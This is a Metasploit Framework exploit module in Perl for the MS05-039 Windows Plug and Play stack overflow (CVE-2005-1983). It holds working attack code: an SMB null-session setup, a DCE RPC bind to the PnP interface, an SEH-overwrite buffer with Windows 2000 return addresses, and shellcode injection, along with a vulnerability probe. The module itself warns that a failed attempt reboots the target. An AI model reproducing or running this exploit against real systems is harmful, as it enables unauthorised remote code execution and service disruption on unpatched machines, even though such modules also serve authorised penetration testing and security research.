
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ms05_039_pnp;
use base "Msf::Exploit";
use strict;

use Pex::DCERPC;
use Pex::x86;

my $advanced =
  {
	'FragSize'  => [256, 'The application fragment size to use with DCE RPC'],
	'DirectSMB' => [0,    'Use the direct SMB protocol (445/tcp) instead of SMB over NetBIOS'],
  };

my $info =
  {
	'Name'  => 'Microsoft PnP MS05-039 Overflow',
	'Version'  => '$Revision: 1.4 $',
	'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000' ],
	'Priv'  => 1,

	'AutoOpts'  => { 'EXITFUNC' => 'thread' },
	'UserOpts'  =>
	  {
		'RHOST'  => [1, 'ADDR', 'The target address'],
		'RPORT'  => [1, 'PORT', 'The target port', 139],

		# Optional pipe name
		'SMBPIPE' => [1, 'DATA', 'Pipe name: browser, srvsvc, wkssvc', 'browser'],

		# SMB connection options
		'SMBUSER' => [0, 'DATA', 'The SMB username to connect with', ''],
		'SMBPASS' => [0, 'DATA', 'The password for specified SMB username', ''],
		'SMBDOM'  => [0, 'DATA', 'The domain for specified SMB username', ''],
	  },

	'Payload' =>
	  {
		'Space'     => 1000,
		'BadChars'  => '',
		'Keys'      => ['-ws2ord'], # no winsock in services.exe
		'MaxNops'   => 0,
		'MinNops'   => 0,
	  },

	'DefaultTarget'  => -1,

	'Targets'        =>
	  [
		[ 'Windows 2000 SP0-SP4', 0x767a38f6 ], # umpnpmgr.dll
		[ 'Windows 2000 SP4 Spanish', 0x767738f6 ] # Spanish target contributed by Roman Medina <roman@rs-labs.com>
	  ],

	'Description'  => Pex::Text::Freeform(qq{
        This module exploits a stack overflow in the Windows
	Plug and Play service. This vulnerability can be exploited on Windows
	2000 without a valid user account. Since the PnP service runs inside
	the service.exe process, a failed exploit attempt will cause the system
	to automatically reboot.
}),

	'Refs'  =>
	  [
		['OSVDB', '18605'],
		['CVE', '2005-1983'],
		['BID', '14513'],
		['MSB', 'MS05-039'],
		['URL', 'http://www.hsc.fr/ressources/presentations/null_sessions/'],
		['MIL', '87'],
	  ],

	'Keys'  =>  ['pnp'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my $self        = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $fragSize    = $self->GetVar('FragSize') || 256;

	if ( $self->ProbePNP($target_host, $target_port, $fragSize, 'A' )) {
		$self->PrintLine("[*] This system appears to be vulnerable");
		return $self->CheckCode('Appears');
	}

	$self->PrintLine("[*] This system does not appear to be vulnerable");
	return $self->CheckCode('Unknown');
}

sub Exploit {
	my $self        = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $fragSize    = $self->GetVar('FragSize') || 256;
	my $target_idx  = $self->GetVar('TARGET');
	my $target      = $self->Targets->[$target_idx];
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

	my $return  = pack('V', $target->[1]);
	my $request =

	  # Get to seh next ptr
	  RandomData(0x38) .

	  # SEH Next / jmp to shellcode
	  Pex::x86::JmpShort('$+32') . RandomData(2) .

	  # SEH Handler
	  $return .
	  RandomData(20) .

	  # ResourceName - cause access violation on RtlInitUnicodeString
	  RandomData(3) . "\xff" .

	  # shellcode!
	  $shellcode;

	$self->ProbePNP($target_host, $target_port, $fragSize, $request);
	return;
}

sub ProbePNP {
	my $self = shift;
	my $target_host = shift;
	my $target_port = shift;
	my $fragSize    = shift;
	my $request     = shift;
	my $target_name = '*SMBSERVER';

	my $cs_des =

	  # CS_DES
	  # CSD_SignatureLength, CSD_LegacyDataOffset, CSD_LegacyDataSize, CSD_Flags
	  # GUID and then the dataz
	  pack('VVVV', 0, 0, length($request), 0) . RandomData(16) . $request;

# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
	my $stub =

	  # ResourceName:
	  # our device name, good enough to pass IsLegalDeviceId and IsRootDeviceID
	  NdrUnicodeConformantVaryingString('a\\b\\c') .

	  # ResourceID:
	  # 0xffff - ResType_ClassSpecific
	  NdrLong(0xffff) .

	  # ResourceData
	  # our CS_DES structure
	  NdrUniConformantArray($cs_des) .

	  # ResourceLen (I'm guessing the server double checks this?)
	  NdrLong(length($cs_des)) .

	  # OutputLen
	  # Need to be atleast 4...
	  NdrLong(4) .

	  # Flags
	  # unused? something said it must be zero?...
	  NdrLong(0);

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
	  );

	if ($s->IsError) {
		$self->PrintLine("[*] Socket error: " . $s->GetError());
		return(0);
	}

	my $x = Pex::SMB->new({ 'Socket' => $s });

	if ($target_port != 445 && ! $self->GetVar('DirectSMB')) {
		$x->SMBSessionRequest($target_name);
		if ($x->Error) {
			$self->PrintLine("[*] Session request failed for $target_name");
			return;
		}
	}

	$x->Encrypted(1);
	$x->SMBNegotiate();
	$x->SMBSessionSetup (
		$self->GetVar('SMBUSER'),
		$self->GetVar('SMBPASS'),
		$self->GetVar('SMBDOM')
	  );

	if ($x->Error) {
		$self->PrintLine("[*] Failed to establish a null session");
		return;
	}

	$target_name = $x->DefaultNBName;

	# Left in OS detection, might be useful for exploitation..
	if ($x->PeerNativeOS eq 'Windows 5.0') {
		$self->PrintLine("[*] Detected a Windows 2000 target ($target_name)");
	} else {
		$self->PrintLine("[*] No target available for ".$x->PeerNativeOS." ($target_name)");
		return;
	}

	$x->SMBTConnect("\\\\".$target_name."\\IPC\$");
	if ($x->Error) {
		$self->PrintLine("[*] Failed to connect to the IPC share");
		return;
	}

	my ($bind, $ctx) = Pex::DCERPC::BindFakeMulti(
		Pex::DCERPC::UUID_to_Bin('8d9f4e40-a03d-11ce-8f69-08003e30051b'),
		'1.0'
	  );

	# PNP_QueryResConfList what what
	my (@DCE) = Pex::DCERPC::Request(0x36, $stub, $fragSize, $ctx);

	$x->SMBCreate('\\'. $self->GetVar('SMBPIPE'));
	if ($x->Error) {
		$self->PrintLine("[*] Failed to create pipe to NTSVCS");
		return;
	}

	$x->SMBTransNP($x->LastFileID, $bind);
	if ($x->Error) {
		$self->PrintLine("[*] Failed to bind to NTSVCS over DCE RPC: ".$x->Error);
		return;
	}

	if (scalar(@DCE) > 1) {
		my $offset = 0;
		$self->PrintLine("[*] Sending ".(scalar(@DCE)-1)." DCE request fragments...");

		while (scalar(@DCE != 1)) {
			my $chunk = shift(@DCE);
			$x->SMBWrite($x->LastFileID, $offset, $chunk);
			$offset += length($chunk);
		}
	}

	$self->PrintLine("[*] Sending the final DCE fragment");
	my $res = $x->SMBTransNP($x->LastFileID, $DCE[0]);
	if ($res && $res->Get('data_bytes')) {
		my $dce = Pex::DCERPC::DecodeResponse($res->Get('data_bytes'));
		if ($dce->{'StubData'} eq "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00") {
			return 1;
		}
	}

	return;
}

sub RandomData {
	my $length = shift;

	my $data = '';

	while($length--) {
		$data .= chr(int(rand(256)));
	}

	return($data);
}

sub Unicode {
	my $str = shift;
	my $unicode = '';

	foreach my $char (split('', $str)) {
		$unicode .= $char . "\x00";
	}

	return($unicode);
}

sub DwordAlign {
	my $length = shift;

	return RandomData((4 - ($length & 3)) & 3);
}

sub NdrLong {
	my $val = shift;
	return pack('V', $val);
}

sub NdrUnicodeConformantVaryingString {
	my $str = shift;

	# ndr conformant varying string
	# count includes null terminator
	# maximum count - offset - actual count
	my $data = pack('VVV', length($str)+1, 0, length($str)+1);

	$data .= Unicode($str . "\x00");

	$data .= DwordAlign(length($data));

	return($data);
}

sub NdrUniConformantArray {
	my $bytes = shift;
	my $len   = @_ ? shift : length($bytes);

	# ndr uni-demensional conformant array
	# actual count
	my $data = pack('V', $len);

	$data .= $bytes;

	$data .= DwordAlign(length($data));

	return($data);
}

1;
